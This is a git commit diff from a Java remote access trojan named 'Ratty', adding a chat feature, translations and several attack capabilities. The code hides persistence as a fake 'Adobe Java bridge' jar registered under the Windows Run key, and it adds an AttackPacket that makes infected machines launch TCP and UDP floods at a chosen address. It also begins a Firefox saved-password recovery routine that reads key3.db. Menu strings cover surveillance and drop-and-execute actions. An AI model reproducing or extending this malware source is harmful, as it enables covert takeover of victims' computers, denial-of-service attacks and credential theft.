Browse Source

Major changes

Added chat
Bugfixes
Cleanups
Started to implements password recovery
Translations
master
Sogomn 9 years ago
parent
commit
554b9023ff
  1. 0
      Ratty/res/connection_data
  2. BIN
      Ratty/res/gui_menu_icons.png
  3. 1
      Ratty/res/language/lang.properties
  4. 1
      Ratty/res/language/lang_de.properties
  5. 1
      Ratty/res/language/lang_en.properties
  6. 15
      Ratty/res/language/lang_ru.properties
  7. 15
      Ratty/res/language/lang_uk.properties
  8. 2
      Ratty/src/de/sogomn/rat/ActiveConnection.java
  9. 42
      Ratty/src/de/sogomn/rat/Client.java
  10. 19
      Ratty/src/de/sogomn/rat/GUISettings.java
  11. 18
      Ratty/src/de/sogomn/rat/Ratty.java
  12. 6
      Ratty/src/de/sogomn/rat/attack/AttackUtils.java
  13. 49
      Ratty/src/de/sogomn/rat/packet/AttackPacket.java
  14. 36
      Ratty/src/de/sogomn/rat/packet/ChatPacket.java
  15. 3
      Ratty/src/de/sogomn/rat/packet/PacketType.java
  16. 29
      Ratty/src/de/sogomn/rat/recovery/Firefox.java
  17. 4
      Ratty/src/de/sogomn/rat/server/AbstractRattyController.java
  18. 100
      Ratty/src/de/sogomn/rat/server/gui/ChatWindow.java
  19. 18
      Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java
  20. 43
      Ratty/src/de/sogomn/rat/server/gui/FileTree.java
  21. 16
      Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java
  22. 4
      Ratty/src/de/sogomn/rat/server/gui/IGuiController.java
  23. 39
      Ratty/src/de/sogomn/rat/server/gui/IRattyGui.java
  24. 59
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  25. 91
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
  26. 22
      Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

0
Ratty/res/connection_data.txt → Ratty/res/connection_data

BIN
Ratty/res/gui_menu_icons.png

Before

Width: 64  |  Height: 48  |  Size: 907 B

After

Width: 64  |  Height: 64  |  Size: 972 B

1
Ratty/res/language/lang.properties

@ -44,6 +44,7 @@ action.new_directory=Create new directory
action.upload_execute=Upload and execute file action.upload_execute=Upload and execute file
action.drop_file=Drop file action.drop_file=Drop file
action.drop_execute=Drop and execute file action.drop_execute=Drop and execute file
action.chat=Open chat
column.name=Name column.name=Name
column.location=Location column.location=Location

1
Ratty/res/language/lang_de.properties

@ -44,6 +44,7 @@ action.new_directory=Neuen Ordner erstellen
action.upload_execute=Datei hochladen und ausführen action.upload_execute=Datei hochladen und ausführen
action.drop_file=Datei aus dem Internet laden action.drop_file=Datei aus dem Internet laden
action.drop_execute=Datei aus dem Internet ausführen action.drop_execute=Datei aus dem Internet ausführen
action.chat=Chat öffnen
column.name=Name column.name=Name
column.location=Ort column.location=Ort

1
Ratty/res/language/lang_en.properties

@ -44,6 +44,7 @@ action.new_directory=Create new directory
action.upload_execute=Upload and execute file action.upload_execute=Upload and execute file
action.drop_file=Drop file action.drop_file=Drop file
action.drop_execute=Drop and execute file action.drop_execute=Drop and execute file
action.chat=Open chat
column.name=Name column.name=Name
column.location=Location column.location=Location

15
Ratty/res/language/lang_ru.properties

@ -8,11 +8,21 @@ server.free_warning=\u041A\u043B\u0438\u0435\u043D\u0442 \u043D\u0435 \u0431\u04
\u041F\u0440\u043E\u0434\u043E\u043B\u0436\u0430\u0442\u044C? \u041F\u0440\u043E\u0434\u043E\u043B\u0436\u0430\u0442\u044C?
server.yes=\u0414\u0430 server.yes=\u0414\u0430
server.cancel=\u041E\u0442\u043C\u0435\u043D\u0438\u0442\u044C server.cancel=\u041E\u0442\u043C\u0435\u043D\u0438\u0442\u044C
server.tcp=\u041F\u041A\u041F
server.udp=\u041F\u0414\u041A
server.attack_message=\u041A\u0430\u043A\u043E\u0439 \u043F\u0440\u043E\u0442\u043E\u043A\u043E\u043B?
server.url_message=\u0412\u0432\u0435\u0434\u0456\u0442\u044C \u0432 URL.
server.amount_question=\u041A\u0430\u043A \u0447\u0430\u0441\u0442\u043E?
builder.address_question=\u0414\u043E \u041A\u0430\u043A\u043E\u0433\u043E \u0430\u0434\u0440\u0435\u0441\u0430 \u0434\u043E\u043B\u0436\u0435\u043D \u043A\u043B\u0438\u0435\u043D\u0442 \u043F\u043E\u0434\u043A\u043B\u044E\u0447\u0438\u0442\u044C\u0441\u044F? builder.address_question=\u0414\u043E \u041A\u0430\u043A\u043E\u0433\u043E \u0430\u0434\u0440\u0435\u0441\u0430 \u0434\u043E\u043B\u0436\u0435\u043D \u043A\u043B\u0438\u0435\u043D\u0442 \u043F\u043E\u0434\u043A\u043B\u044E\u0447\u0438\u0442\u044C\u0441\u044F?
builder.port_question=\u041A\u0430\u043A\u043E\u0439 \u043F\u043E\u0440\u0442? builder.port_question=\u041A\u0430\u043A\u043E\u0439 \u043F\u043E\u0440\u0442?
builder.error=\u0427\u0442\u043E-\u0442\u043E \u043F\u043E\u0448\u043B\u043E \u043D\u0435 \u0442\u0430\u043A. builder.error=\u0427\u0442\u043E-\u0442\u043E \u043F\u043E\u0448\u043B\u043E \u043D\u0435 \u0442\u0430\u043A.
menu.file_management=\u0424\u0430\u0439\u043B \u043C\u0435\u043D\u0435\u0434\u0436\u0435\u0440\u044B
menu.surveillance=\u041D\u0430\u0431\u043B\u044E\u0434\u0435\u043D\u0438\u0435
menu.utility=\u041F\u043E\u043B\u0435\u0437\u043D\u043E\u0441\u0442\u0432\u0430
menu.other=\u0414\u0440\u0443\u0433\u043E\u0435
action.popup=\u041E\u0442\u043A\u0440\u044B\u0442\u044C \u0432\u0441\u043F\u043B\u044B\u0432\u0430\u044E\u0449\u0435\u0435 \u043E\u043A\u043D\u043E action.popup=\u041E\u0442\u043A\u0440\u044B\u0442\u044C \u0432\u0441\u043F\u043B\u044B\u0432\u0430\u044E\u0449\u0435\u0435 \u043E\u043A\u043D\u043E
action.screenshot=\u0421\u0434\u0435\u043B\u0430\u0442\u044C \u0441\u043A\u0440\u0456\u043D\u0448\u043E\u0442 action.screenshot=\u0421\u0434\u0435\u043B\u0430\u0442\u044C \u0441\u043A\u0440\u0456\u043D\u0448\u043E\u0442
action.desktop=\u0410\u043A\u0442\u0438\u0432\u0443\u0432\u0430\u0442\u0438 \u043F\u043E\u0442\u043E\u043A \u0440\u0430\u0431\u043E\u0447\u0435\u0433\u043E \u0441\u0442\u043E\u043B\u0430 action.desktop=\u0410\u043A\u0442\u0438\u0432\u0443\u0432\u0430\u0442\u0438 \u043F\u043E\u0442\u043E\u043A \u0440\u0430\u0431\u043E\u0447\u0435\u0433\u043E \u0441\u0442\u043E\u043B\u0430
@ -32,6 +42,8 @@ action.execute=\u0417\u0430\u043F\u0443\u0441\u0442\u0438\u0442\u044C \u0444\u04
action.delete=\u0423\u0434\u0430\u043B\u0438\u0442\u044C \u0444\u0430\u0439\u043B action.delete=\u0423\u0434\u0430\u043B\u0438\u0442\u044C \u0444\u0430\u0439\u043B
action.new_directory=\u0421\u043E\u0437\u0434\u0430\u0442\u044C \u043D\u043E\u0432\u0443\u044E \u043F\u0430\u043F\u043A\u0443 action.new_directory=\u0421\u043E\u0437\u0434\u0430\u0442\u044C \u043D\u043E\u0432\u0443\u044E \u043F\u0430\u043F\u043A\u0443
action.upload_execute=\u0417\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044C \u0438 \u0432\u044B\u043F\u043E\u043B\u043D\u0438\u0442\u044C action.upload_execute=\u0417\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044C \u0438 \u0432\u044B\u043F\u043E\u043B\u043D\u0438\u0442\u044C
action.drop_file=\u0417\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044C \u0444\u0430\u0439\u043B
action.drop_execute=\u0417\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044C \u0438 \u0432\u044B\u043F\u043E\u043B\u043D\u0438\u0442\u044C \u0444\u0430\u0439\u043B
column.name=\u0418\u043C\u044F column.name=\u0418\u043C\u044F
column.location=\u041C\u0435\u0441\u0442\u043E\u043D\u0430\u0445\u043E\u0436\u0434\u0435\u043D\u0438\u0435 column.location=\u041C\u0435\u0441\u0442\u043E\u043D\u0430\u0445\u043E\u0436\u0434\u0435\u043D\u0438\u0435
@ -39,4 +51,5 @@ column.address=IP \u0430\u0434\u0440\u0435\u0441
column.os=\u041E\u043F\u0435\u0440\u0430\u0446\u0438\u043E\u043D\u043D\u0430\u044F \u0441\u0438\u0441\u0442\u0435\u043C\u0430 column.os=\u041E\u043F\u0435\u0440\u0430\u0446\u0438\u043E\u043D\u043D\u0430\u044F \u0441\u0438\u0441\u0442\u0435\u043C\u0430
column.version=\u0412\u0435\u0440\u0441\u0438\u044F column.version=\u0412\u0435\u0440\u0441\u0438\u044F
column.desktop=\u041F\u043E\u0442\u043E\u043A\u043E\u0432\u043E\u0435 \u0440\u043E\u0431\u043E\u0447\u0438\u0439 \u0441\u0442\u0456\u043B column.desktop=\u041F\u043E\u0442\u043E\u043A\u043E\u0432\u043E\u0435 \u0440\u043E\u0431\u043E\u0447\u0438\u0439 \u0441\u0442\u0456\u043B
column.voice=\u041F\u043E\u0442\u043E\u043A\u043E\u0432\u043E\u0435 voice
column.voice=\u041F\u043E\u0442\u043E\u043A\u043E\u0432\u043E\u0435 voice
column.ping=\u041F\u0438\u043D\u0433

15
Ratty/res/language/lang_uk.properties

@ -8,11 +8,21 @@ server.free_warning= \u041A\u043B\u0456\u0454\u043D\u0442 \u043D\u0435 \u0431\u0
\u041F\u0440\u043E\u0434\u043E\u0432\u0436\u0438\u0442\u0438? \u041F\u0440\u043E\u0434\u043E\u0432\u0436\u0438\u0442\u0438?
server.yes=\u0422\u0430\u043A server.yes=\u0422\u0430\u043A
server.cancel=\u0412\u0456\u0434\u043C\u0456\u043D\u0438\u0442\u0438 server.cancel=\u0412\u0456\u0434\u043C\u0456\u043D\u0438\u0442\u0438
server.tcp=\u041F\u041A\u041F
server.udp=\u041F\u0414\u041A
server.attack_message=\u041A\u043E\u0442\u0440\u0438\u0439 \u043F\u0440\u043E\u0442\u043E\u043A\u043E\u043B?
server.url_message=\u0412\u0432\u0435\u0434\u0456\u0442\u044C \u0432 URL.
server.amount_question=\u042F\u043A \u0447\u0430\u0441\u0442\u043E?
builder.address_question=\u0414\u043E \u044F\u043A\u043E\u0433\u043E \u0430\u0434\u0440\u0435\u0441\u0443 \u043F\u043E\u0432\u0438\u043D\u0435\u043D \u043A\u043B\u0456\u0454\u043D\u0442 \u043F\u0456\u0434\u043A\u043B\u044E\u0447\u0438\u0442\u0438\u0441\u044F? builder.address_question=\u0414\u043E \u044F\u043A\u043E\u0433\u043E \u0430\u0434\u0440\u0435\u0441\u0443 \u043F\u043E\u0432\u0438\u043D\u0435\u043D \u043A\u043B\u0456\u0454\u043D\u0442 \u043F\u0456\u0434\u043A\u043B\u044E\u0447\u0438\u0442\u0438\u0441\u044F?
builder.port_question=\u042F\u043A\u0438\u0439 \u043F\u043E\u0440\u0442? builder.port_question=\u042F\u043A\u0438\u0439 \u043F\u043E\u0440\u0442?
builder.error=\u0429\u043E\u0441\u044C \u043F\u0456\u0448\u043B\u043E \u043D\u0435 \u043F\u0440\u0430\u0432\u0438\u043B\u044C\u043D\u043E. builder.error=\u0429\u043E\u0441\u044C \u043F\u0456\u0448\u043B\u043E \u043D\u0435 \u043F\u0440\u0430\u0432\u0438\u043B\u044C\u043D\u043E.
menu.file_management=\u0444\u0430\u0439\u043B \u043C\u0435\u043D\u0435\u0434\u0436\u0435\u0440
menu.surveillance=\u041D\u0430\u0433\u043B\u044F\u0434
menu.utility=\u041A\u043E\u0440\u0438\u0441\u043D\u0456\u0441\u0442\u044C
menu.other=\u0406\u043D\u0448\u0435
action.popup=\u0412\u0456\u0434\u043A\u0440\u0438\u0442\u0438 action.popup=\u0412\u0456\u0434\u043A\u0440\u0438\u0442\u0438
action.screenshot=\u0417\u0440\u043E\u0431\u0438\u0442\u0438 \u0441\u043A\u0440\u0456\u043D\u0448\u043E\u0442 action.screenshot=\u0417\u0440\u043E\u0431\u0438\u0442\u0438 \u0441\u043A\u0440\u0456\u043D\u0448\u043E\u0442
action.desktop=\u0410\u043A\u0442\u0438\u0432\u0443\u0432\u0430\u0442\u0438 \u043F\u043E\u0442\u0456\u043A \u0440\u043E\u0431\u043E\u0447\u043E\u0433\u043E \u0441\u0442\u043E\u043B\u0443 action.desktop=\u0410\u043A\u0442\u0438\u0432\u0443\u0432\u0430\u0442\u0438 \u043F\u043E\u0442\u0456\u043A \u0440\u043E\u0431\u043E\u0447\u043E\u0433\u043E \u0441\u0442\u043E\u043B\u0443
@ -32,6 +42,8 @@ action.execute=\u0417\u0430\u043F\u0443\u0441\u0442\u0438\u0442\u0438 \u0444\u04
action.delete=\u0412\u0438\u0434\u0430\u043B\u0438\u0442\u0438 \u0444\u0430\u0439\u043B action.delete=\u0412\u0438\u0434\u0430\u043B\u0438\u0442\u0438 \u0444\u0430\u0439\u043B
action.new_directory=\u0421\u0442\u0432\u043E\u0440\u0438\u0442\u0438 \u043D\u043E\u0432\u0438\u0439 \u043A\u0430\u0442\u0430\u043B\u043E\u0433 action.new_directory=\u0421\u0442\u0432\u043E\u0440\u0438\u0442\u0438 \u043D\u043E\u0432\u0438\u0439 \u043A\u0430\u0442\u0430\u043B\u043E\u0433
action.upload_execute=\u0417\u0430\u0432\u0430\u043D\u0442\u0430\u0436\u0438\u0442\u0438 \u0456 \u0432\u0438\u043A\u043E\u043D\u0430\u0442\u0438 action.upload_execute=\u0417\u0430\u0432\u0430\u043D\u0442\u0430\u0436\u0438\u0442\u0438 \u0456 \u0432\u0438\u043A\u043E\u043D\u0430\u0442\u0438
action.drop_file=\u041A\u0438\u043D\u0443\u0442\u0438 \u0444\u0430\u0439\u043B
action.drop_execute=\u041A\u0438\u043D\u0443\u0442\u0438 \u0456 \u0432\u0438\u043A\u043E\u043D\u0430\u0442\u0438 \u0444\u0430\u0439\u043B
column.name=\u0406\u043C'\u044F column.name=\u0406\u043C'\u044F
column.location=\u041C\u0456\u0441\u0446\u0435\u0437\u043D\u0430\u0445\u043E\u0434\u0436\u0435\u043D\u043D\u044F column.location=\u041C\u0456\u0441\u0446\u0435\u0437\u043D\u0430\u0445\u043E\u0434\u0436\u0435\u043D\u043D\u044F
@ -39,4 +51,5 @@ column.address=IP \u0430\u0434\u0440\u0435\u0441
column.os=\u041E\u043F\u0435\u0440\u0430\u0442\u0438\u0432\u043D\u0430 \u0441\u0438\u0441\u0442\u0435\u043C\u0430 column.os=\u041E\u043F\u0435\u0440\u0430\u0442\u0438\u0432\u043D\u0430 \u0441\u0438\u0441\u0442\u0435\u043C\u0430
column.version=\u0412\u0435\u0440\u0441\u0456\u044F column.version=\u0412\u0435\u0440\u0441\u0456\u044F
column.desktop=\u041F\u043E\u0442\u043E\u043A\u043E\u0432\u0435 \u0440\u043E\u0431\u043E\u0447\u0438\u0439 \u0441\u0442\u0456\u043B column.desktop=\u041F\u043E\u0442\u043E\u043A\u043E\u0432\u0435 \u0440\u043E\u0431\u043E\u0447\u0438\u0439 \u0441\u0442\u0456\u043B
column.voice=\u041F\u043E\u0442\u043E\u043A\u043E\u0432\u0435 \u0433\u043E\u043B\u043E\u0441
column.voice=\u041F\u043E\u0442\u043E\u043A\u043E\u0432\u0435 \u0433\u043E\u043B\u043E\u0441
column.ping=\u041F\u0456\u043D\u0433

2
Ratty/src/de/sogomn/rat/ActiveConnection.java

@ -51,6 +51,8 @@ public final class ActiveConnection extends TCPConnection {
final Class<? extends IPacket> packetClass = PacketType.getClass(id); final Class<? extends IPacket> packetClass = PacketType.getClass(id);
if (packetClass == null) { if (packetClass == null) {
readAllAvailable();
return null; return null;
} }

42
Ratty/src/de/sogomn/rat/Client.java

@ -1,15 +1,26 @@
package de.sogomn.rat; package de.sogomn.rat;
import de.sogomn.rat.packet.ChatPacket;
import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.VoicePacket; import de.sogomn.rat.packet.VoicePacket;
import de.sogomn.rat.server.gui.ChatWindow;
import de.sogomn.rat.server.gui.IGuiController;
import de.sogomn.rat.util.VoiceRecorder; import de.sogomn.rat.util.VoiceRecorder;
public final class Client implements IConnectionObserver {
public final class Client implements IConnectionObserver, IGuiController {
private ActiveConnection connection;
private ChatWindow chat;
private static final int VOICE_BUFFER_SIZE = 1024 << 6; private static final int VOICE_BUFFER_SIZE = 1024 << 6;
public Client() {
//...
public Client(final ActiveConnection connection) {
this.connection = connection;
chat = new ChatWindow(this);
chat.addListener(this);
} }
private void handleVoiceRequest(final ActiveConnection connection) { private void handleVoiceRequest(final ActiveConnection connection) {
@ -25,12 +36,26 @@ public final class Client implements IConnectionObserver {
voiceRecorder.start(); voiceRecorder.start();
} }
private void handleChatPacket(final ChatPacket packet) {
final String message = packet.getMessage();
if (!chat.isVisible()) {
chat.setVisible(true);
}
chat.addLine(message);
}
@Override @Override
public void packetReceived(final ActiveConnection connection, final IPacket packet) { public void packetReceived(final ActiveConnection connection, final IPacket packet) {
final Class<? extends IPacket> clazz = packet.getClass(); final Class<? extends IPacket> clazz = packet.getClass();
if (clazz == VoicePacket.class) { if (clazz == VoicePacket.class) {
handleVoiceRequest(connection); handleVoiceRequest(connection);
} else if (clazz == ChatPacket.class) {
final ChatPacket chatPacket = (ChatPacket)packet;
handleChatPacket(chatPacket);
} else { } else {
packet.execute(connection); packet.execute(connection);
} }
@ -41,9 +66,20 @@ public final class Client implements IConnectionObserver {
final String address = connection.getAddress(); final String address = connection.getAddress();
final int port = connection.getPort(); final int port = connection.getPort();
chat.close();
connection.setObserver(null); connection.setObserver(null);
Ratty.connectToHost(address, port); Ratty.connectToHost(address, port);
} }
@Override
public void userInput(final String command, final Object source) {
if (command == ChatWindow.MESSAGE_SENT) {
final String message = chat.getMessage();
final ChatPacket packet = new ChatPacket(message);
connection.addPacket(packet);
}
}
} }

19
Ratty/src/de/sogomn/rat/GUISettings.java

@ -68,6 +68,16 @@ final class GUISettings {
g.fillRect(0, 0, width, height); g.fillRect(0, 0, width, height);
}; };
private static final Painter<?> SEPARATOR_PAINTER = (g, object, width, height) -> {
g.setColor(DARKER);
g.fillRect(0, height / 2, width, height / 4);
};
private static final Painter<?> BACKGROUND_PAINTER = (g, object, width, height) -> {
g.setColor(BACKGROUND);
g.fillRect(0, 0, width, height);
};
static { static {
Font newFont; Font newFont;
@ -87,9 +97,14 @@ final class GUISettings {
} }
public static void setDefaults(final UIDefaults defaults) { public static void setDefaults(final UIDefaults defaults) {
defaults.put("nimbusBase", Color.GRAY);
defaults.put("nimbusSelection", Color.WHITE);
defaults.put("nimbusFocus", Color.WHITE);
defaults.put("textHighlight", SELECTION);
defaults.put("control", BACKGROUND); defaults.put("control", BACKGROUND);
defaults.put("TextArea[Enabled].backgroundPainter", BACKGROUND_PAINTER);
defaults.put("TextField[Enabled].backgroundPainter", BACKGROUND_PAINTER);
defaults.put("Button[Enabled].backgroundPainter", BASE_PAINTER); defaults.put("Button[Enabled].backgroundPainter", BASE_PAINTER);
defaults.put("Button[Default].backgroundPainter", BASE_PAINTER); defaults.put("Button[Default].backgroundPainter", BASE_PAINTER);
defaults.put("Button[Focused].backgroundPainter", BASE_PAINTER); defaults.put("Button[Focused].backgroundPainter", BASE_PAINTER);
@ -133,6 +148,7 @@ final class GUISettings {
defaults.put("PopupMenu[Enabled].backgroundPainter", BASE_PAINTER); defaults.put("PopupMenu[Enabled].backgroundPainter", BASE_PAINTER);
defaults.put("MenuItem[MouseOver].backgroundPainter", SELECTION_PAINTER); defaults.put("MenuItem[MouseOver].backgroundPainter", SELECTION_PAINTER);
defaults.put("MenuBar[Enabled].backgroundPainter", BASE_PAINTER); defaults.put("MenuBar[Enabled].backgroundPainter", BASE_PAINTER);
defaults.put("PopupMenuSeparator[Enabled].backgroundPainter", SEPARATOR_PAINTER);
defaults.put("Tree:TreeCell[Enabled+Selected].backgroundPainter", SELECTION_PAINTER); defaults.put("Tree:TreeCell[Enabled+Selected].backgroundPainter", SELECTION_PAINTER);
defaults.put("Tree:TreeCell[Focused+Selected].backgroundPainter", SELECTION_PAINTER); defaults.put("Tree:TreeCell[Focused+Selected].backgroundPainter", SELECTION_PAINTER);
@ -153,6 +169,7 @@ final class GUISettings {
defaults.put("TableHeader.font", FONT); defaults.put("TableHeader.font", FONT);
defaults.put("FileChooser.font", FONT); defaults.put("FileChooser.font", FONT);
defaults.put("TextField.font", FONT); defaults.put("TextField.font", FONT);
defaults.put("TextArea.font", FONT);
defaults.put("FormattedTextField.font", FONT); defaults.put("FormattedTextField.font", FONT);
defaults.put("PopupMenu.font", FONT); defaults.put("PopupMenu.font", FONT);
defaults.put("Menu.font", FONT); defaults.put("Menu.font", FONT);

18
Ratty/src/de/sogomn/rat/Ratty.java

@ -13,6 +13,7 @@ import javax.swing.plaf.nimbus.NimbusLookAndFeel;
import de.sogomn.engine.util.FileUtils; import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.gui.RattyGui;
import de.sogomn.rat.server.gui.RattyGuiController; import de.sogomn.rat.server.gui.RattyGuiController;
/* /*
@ -31,7 +32,7 @@ public final class Ratty {
private static boolean client; private static boolean client;
private static final int CONNECTION_INTERVAL = 5000; private static final int CONNECTION_INTERVAL = 5000;
private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt";
private static final String CONNECTION_DATA_FILE_NAME = "/connection_data";
private static final String STARTUP_FILE_PATH = System.getenv("APPDATA") + File.separator + "Adobe" + File.separator + "AIR" + File.separator + "jre13v3bridge.jar"; private static final String STARTUP_FILE_PATH = System.getenv("APPDATA") + File.separator + "Adobe" + File.separator + "AIR" + File.separator + "jre13v3bridge.jar";
private static final String STARTUP_REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_FILE_PATH + "\""; private static final String STARTUP_REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_FILE_PATH + "\"";
@ -101,10 +102,9 @@ public final class Ratty {
} }
public static void connectToHost(final String address, final int port) { public static void connectToHost(final String address, final int port) {
final ActiveConnection newClient = new ActiveConnection(address, port);
final Client trojan = new Client();
final ActiveConnection connection = new ActiveConnection(address, port);
if (!newClient.isOpen()) {
if (!connection.isOpen()) {
try { try {
Thread.sleep(CONNECTION_INTERVAL); Thread.sleep(CONNECTION_INTERVAL);
} catch (final Exception ex) { } catch (final Exception ex) {
@ -117,14 +117,18 @@ public final class Ratty {
return; return;
} }
newClient.setObserver(trojan);
newClient.start();
final Client client = new Client(connection);
connection.setObserver(client);
connection.start();
} }
public static void startServer(final int port) { public static void startServer(final int port) {
final ActiveServer server = new ActiveServer(port); final ActiveServer server = new ActiveServer(port);
final RattyGuiController controller = new RattyGuiController();
final RattyGui gui = new RattyGui();
final RattyGuiController controller = new RattyGuiController(server, gui);
gui.addListener(controller);
server.setObserver(controller); server.setObserver(controller);
server.start(); server.start();
} }

6
Ratty/src/de/sogomn/rat/attack/Attack.java → Ratty/src/de/sogomn/rat/attack/AttackUtils.java

@ -8,12 +8,12 @@ import java.net.DatagramSocket;
import java.net.InetSocketAddress; import java.net.InetSocketAddress;
import java.net.Socket; import java.net.Socket;
public final class Attack {
public final class AttackUtils {
private static final int TCP_INTERVAL = 1; private static final int TCP_INTERVAL = 1;
private static final int UDP_INTERVAL = 150; private static final int UDP_INTERVAL = 150;
private Attack() {
private AttackUtils() {
//... //...
} }
@ -75,7 +75,7 @@ public final class Attack {
} }
} }
public static void launchUdpFlood(final String address, final int milliseconds) {
public static void launchUdpFlood(final String address, final long milliseconds) {
final long time = System.currentTimeMillis(); final long time = System.currentTimeMillis();
while (System.currentTimeMillis() - time < milliseconds) { while (System.currentTimeMillis() - time < milliseconds) {

49
Ratty/src/de/sogomn/rat/packet/AttackPacket.java

@ -0,0 +1,49 @@
package de.sogomn.rat.packet;
import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.attack.AttackUtils;
public final class AttackPacket implements IPacket {
private byte type;
private String address;
private int port;
private long duration;
private int threads;
public static final byte TCP = 0;
public static final byte UDP = 1;
public AttackPacket(final byte type, final String address, final int port, final long duration, final int threads) {
this.type = type;
this.address = address;
this.port = port;
this.duration = duration;
this.threads = threads;
}
@Override
public void send(final ActiveConnection connection) {
connection.writeByte(type);
connection.writeUTF(address);
connection.writeInt(port);
connection.writeLong(duration);
connection.writeInt(threads);
}
@Override
public void receive(final ActiveConnection connection) {
type = connection.readByte();
}
@Override
public void execute(final ActiveConnection connection) {
if (type == TCP) {
AttackUtils.launchTcpWave(address, port, threads);
} else if (type == UDP) {
AttackUtils.launchUdpFlood(address, duration);
}
}
}

36
Ratty/src/de/sogomn/rat/packet/ChatPacket.java

@ -0,0 +1,36 @@
package de.sogomn.rat.packet;
import de.sogomn.rat.ActiveConnection;
public final class ChatPacket implements IPacket {
private String message;
public ChatPacket(final String message) {
this.message = message;
}
public ChatPacket() {
this("");
}
@Override
public void send(final ActiveConnection connection) {
connection.writeUTF(message);
}
@Override
public void receive(final ActiveConnection connection) {
message = connection.readUTF();
}
@Override
public void execute(final ActiveConnection connection) {
//...
}
public String getMessage() {
return message;
}
}

3
Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -24,7 +24,8 @@ public enum PacketType {
WEBSITE(17, WebsitePacket.class), WEBSITE(17, WebsitePacket.class),
AUDIO(18, AudioPacket.class), AUDIO(18, AudioPacket.class),
PING(19, PingPacket.class), PING(19, PingPacket.class),
DOWNLOAD_URL(20, DownloadUrlPacket.class);
DOWNLOAD_URL(20, DownloadUrlPacket.class),
CHAT(21, ChatPacket.class);
public final byte id; public final byte id;
public final Class<? extends IPacket> clazz; public final Class<? extends IPacket> clazz;

29
Ratty/src/de/sogomn/rat/recovery/Firefox.java

@ -0,0 +1,29 @@
package de.sogomn.rat.recovery;
import de.sogomn.engine.util.FileUtils;
/*
* TEST CLASS!!!
*/
public final class Firefox {
private Firefox() {
//...
}
public static void main(final String[] args) {
final byte[] data = FileUtils.readExternalData("C:/Users/Sogomn/AppData/Roaming/Mozilla/Firefox/Profiles/ok9izu3i.default/key3.db");
final String string = new String(data);
final int globalSalt = string.indexOf("global-salt") - 11 - 16;
final int passwordCheck = string.indexOf("password-check");
final int entrySalt = globalSalt + 11 + 16;
System.out.println(globalSalt);
System.out.println(passwordCheck);
System.out.println(entrySalt);
System.out.println();
System.out.println(string);
System.out.println();
}
}

4
Ratty/src/de/sogomn/rat/server/AbstractRattyController.java

@ -28,14 +28,12 @@ public abstract class AbstractRattyController implements IServerObserver, IConne
@Override @Override
public void disconnected(final ActiveConnection connection) { public void disconnected(final ActiveConnection connection) {
connections.remove(connection); connections.remove(connection);
connection.setObserver(null); connection.setObserver(null);
connection.close();
} }
@Override @Override
public void closed(final ActiveServer server) { public void closed(final ActiveServer server) {
connections.stream().forEach(connection -> {
connections.forEach(connection -> {
connection.setObserver(null); connection.setObserver(null);
connection.close(); connection.close();
}); });

100
Ratty/src/de/sogomn/rat/server/gui/ChatWindow.java

@ -0,0 +1,100 @@
package de.sogomn.rat.server.gui;
import java.awt.BorderLayout;
import java.awt.Container;
import java.awt.Dimension;
import java.awt.event.ActionEvent;
import javax.swing.JFrame;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.JTextField;
import javax.swing.text.DefaultCaret;
import de.sogomn.engine.util.AbstractListenerContainer;
public final class ChatWindow extends AbstractListenerContainer<IGuiController> {
private Object userObject;
private JFrame frame;
private JTextArea chat;
private JTextField submit;
private JScrollPane scrollPane;
private String message;
private static final Dimension SIZE = new Dimension(500, 500);
private static final String USER_PREFIX = "You: ";
public static final String MESSAGE_SENT = "Message sent";
public ChatWindow(final Object userObject) {
this.userObject = userObject;
frame = new JFrame();
chat = new JTextArea();
submit = new JTextField();
scrollPane = new JScrollPane(chat, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_NEVER);
final Container contentPane = frame.getContentPane();
final DefaultCaret caret = (DefaultCaret)chat.getCaret();
caret.setUpdatePolicy(DefaultCaret.ALWAYS_UPDATE);
submit.addActionListener(this::messageSubmitted);
chat.setEditable(false);
chat.setLineWrap(true);
chat.setWrapStyleWord(true);
contentPane.add(scrollPane, BorderLayout.CENTER);
contentPane.add(submit, BorderLayout.SOUTH);
frame.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE);
frame.setPreferredSize(SIZE);
frame.setIconImages(RattyGui.GUI_ICONS);
frame.pack();
frame.setLocationRelativeTo(null);
}
private void messageSubmitted(final ActionEvent a) {
final String message = submit.getText();
if (!message.isEmpty()) {
this.message = message;
notifyListeners(controller -> controller.userInput(MESSAGE_SENT, userObject));
addLine(USER_PREFIX + message);
}
submit.setText("");
}
public void close() {
frame.setVisible(false);
frame.dispose();
}
public void addLine(final String line) {
chat.append(line + "\r\n");
}
public void setVisible(final boolean visible) {
frame.setVisible(visible);
}
public void setTitle(final String title) {
frame.setTitle(title);
}
public String getMessage() {
return message;
}
public boolean isVisible() {
return frame.isVisible();
}
}

18
Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java

@ -19,7 +19,7 @@ import de.sogomn.rat.util.FrameEncoder.IFrame;
public final class DisplayPanel extends AbstractListenerContainer<IGuiController> implements IMouseListener, IKeyboardListener { public final class DisplayPanel extends AbstractListenerContainer<IGuiController> implements IMouseListener, IKeyboardListener {
private ServerClient client;
private Object userObject;
private String title; private String title;
